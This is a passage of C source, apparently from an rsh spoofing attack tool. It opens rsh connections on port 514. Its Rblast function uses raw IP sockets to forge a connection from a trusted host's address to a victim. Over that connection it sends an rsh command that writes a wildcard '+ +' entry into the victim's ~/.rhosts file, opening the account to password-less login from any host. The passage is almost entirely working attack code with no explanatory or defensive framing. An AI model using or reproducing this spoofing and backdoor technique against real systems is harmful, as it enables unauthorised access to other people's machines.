  966.         close(socket_client);
  967.         exit(ERROR);
  968.     }
  969.  
  970.     adresse_serveur.sin_family      = AF_INET;
  971.     adresse_serveur.sin_port        = htons(514);
  972.     adresse_serveur.sin_addr.s_addr = ip;
  973.  
  974.     res = connect(socket_client,(struct sockaddr *)&adresse_serveur, 
  975.               longueur); 
  976.  
  977.         if (res == ERROR) {
  978.            perror("connect");
  979.            close(socket_client);
  980.            exit(ERROR);
  981.         }
  982.  
  983.     if (send(socket_client, "0\0", 2, 0) == ERROR) {
  984.         perror("send");
  985.         close(socket_client);
  986.         exit(ERROR);
  987.     }    
  988.  
  989.     strcat(cmd, Luser);
  990.     if (send(socket_client, cmd, strlen(Luser) + 1, 0) == ERROR) {
  991.         perror("send");
  992.         close(socket_client);
  993.         exit(ERROR);
  994.     }    
  995.  
  996.     bzero(cmd, 400);
  997.     cmdptr = cmd;
  998.     strcat(cmdptr, Ruser);
  999.     cmdptr = cmdptr + strlen(Ruser) + 1;
  1000.     strcat(cmdptr, exe);    
  1001.     
  1002.     res = send(socket_client, cmd, strlen(Ruser) + strlen(exe) + 2, 0);
  1003.  
  1004.     if (res == ERROR) {
  1005.         perror("send");
  1006.         close(socket_client);
  1007.         exit(ERROR);
  1008.         }
  1009.         
  1010.     if ((read(socket_client, bla, 200)) == ERROR) {
  1011.         perror("read");
  1012.         close(socket_client);
  1013.         exit(ERROR);
  1014.     }
  1015.  
  1016.         printf("%s\n",bla);
  1017.     
  1018.         if (strstr(bla, "nied") || strstr(bla, "inc")) { 
  1019.          close(socket_client);
  1020.          err = -1;
  1021.     } else 
  1022.         err = 0;
  1023.  
  1024.     close(socket_client);    
  1025.     return (err);
  1026.   }
  1027.  
  1028.   close(socket_client);    
  1029.   return (err);
  1030.  
  1031. }
  1032.  
  1033.  
  1034.  
  1035. /****************************************************************************/
  1036. /*           Rblast - a function for try the RSH spoofing                   */
  1037. /* Rblast(ip trust, ip of victim, your ip, source port, local user,         */
  1038. /*        remote user)                                */
  1039. /****************************************************************************/ 
  1040.  
  1041. void Rblast(s_ip, d_ip, my_ip, port, Luser, Ruser)
  1042.     u_long s_ip;
  1043.     u_long d_ip;
  1044.     u_long my_ip; 
  1045.     int    port;
  1046.     char   *Luser; 
  1047.     char   *Ruser;
  1048. {        
  1049.  
  1050.   char  bla[] = "echo \"+ +\" >> ~/.rhosts";
  1051.   char  cmd[512];
  1052.   int   s, s_r;
  1053.  
  1054.   int   i = 1;
  1055.   char  *cmdptr;
  1056.  
  1057.        
  1058.   if ((s_r=socket(AF_INET,SOCK_RAW,6)) == ERROR) {
  1059.     perror("socket");
  1060.     exit(ERROR);
  1061.   }
  1062.  
  1063.   if ((s=socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  1064.     perror("socket");
  1065.     close(s_r);
  1066.     exit(ERROR);
  1067.   }
  1068.  
  1069.   #ifdef IP_HDRINCL
  1070.   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i)) 
  1071.         == ERROR) {
  1072.               fprintf(stderr, "cant set IP_HDRINCL\n");
  1073.               close(s);
  1074.               exit(0); 
  1075.   }
  1076.   #endif
  1077.  
  1078.                                          
  1079.  
  1080.  cmdptr = cmd;
  1081.  strcat(cmdptr, "0\0");
  1082.  cmdptr = cmdptr + 2;
  1083.  strcat(cmdptr, Luser);
  1084.  cmdptr = cmdptr + strlen(Luser) + 1;
  1085.  strcat(cmdptr, Ruser);
  1086.  cmdptr = cmdptr + strlen(Ruser) + 1;
  1087.  strcat(cmdptr, bla);
  1088.  cmdptr=cmdptr + strlen(bla) + 1;
  1089.  
  1090.  printf("make spoof connection ...\n");
  1091.  printf("%s@%s --> ", Luser, (char *)inet_ntoa(s_ip));
  1092.  printf("%s@%s\n",    Ruser, (char *)inet_ntoa(d_ip));        
  1093.  
  1094.  Sconnect(s, s_ip, d_ip, port, 514, my_ip);
  1095.  
  1096.  printf("send the spoof rsh... \n");
  1097.  Swrite(s, cmd, strlen(Luser) + strlen(Ruser) + strlen(bla) + 2 + 3);
  1098.  Srst(s); 
  1099.  
  1100.  close(s);
  1101.  
  1102. }
  1103.                                                                        
  1104.